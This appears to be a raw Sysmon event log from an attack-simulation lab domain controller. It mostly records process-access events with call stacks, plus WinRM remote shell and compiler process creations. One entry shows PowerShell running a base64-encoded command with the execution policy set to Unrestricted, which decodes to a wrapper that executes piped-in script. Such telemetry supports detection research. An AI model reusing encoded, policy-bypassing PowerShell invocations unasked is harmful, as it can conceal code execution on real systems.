09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-2902-5F80-9E00-000000007F01}42005064C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA906B68F) 154100x80000000000000003199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.159{A5F018FF-2903-5F80-A000-000000007F01}4716C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\esttzcof.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x80000000000000003198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:27.147{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\esttzcof.cmdline2020-10-09 09:10:27.147 11241100x80000000000000003197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:27.147{A5F018FF-2902-5F80-9E00-000000007F01}4200C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\esttzcof.dll2020-10-09 09:10:27.147 10341000x80000000000000003297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.990{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2904-5F80-A600-000000007F01}4392C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003291Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003289Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003288Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003287Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003286Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003285Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003284Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.985{A5F018FF-2904-5F80-A500-000000007F01}4676C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2904-5F80-EA04-060000000000}0x604ea0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000003283Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003282Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.975{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003281Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 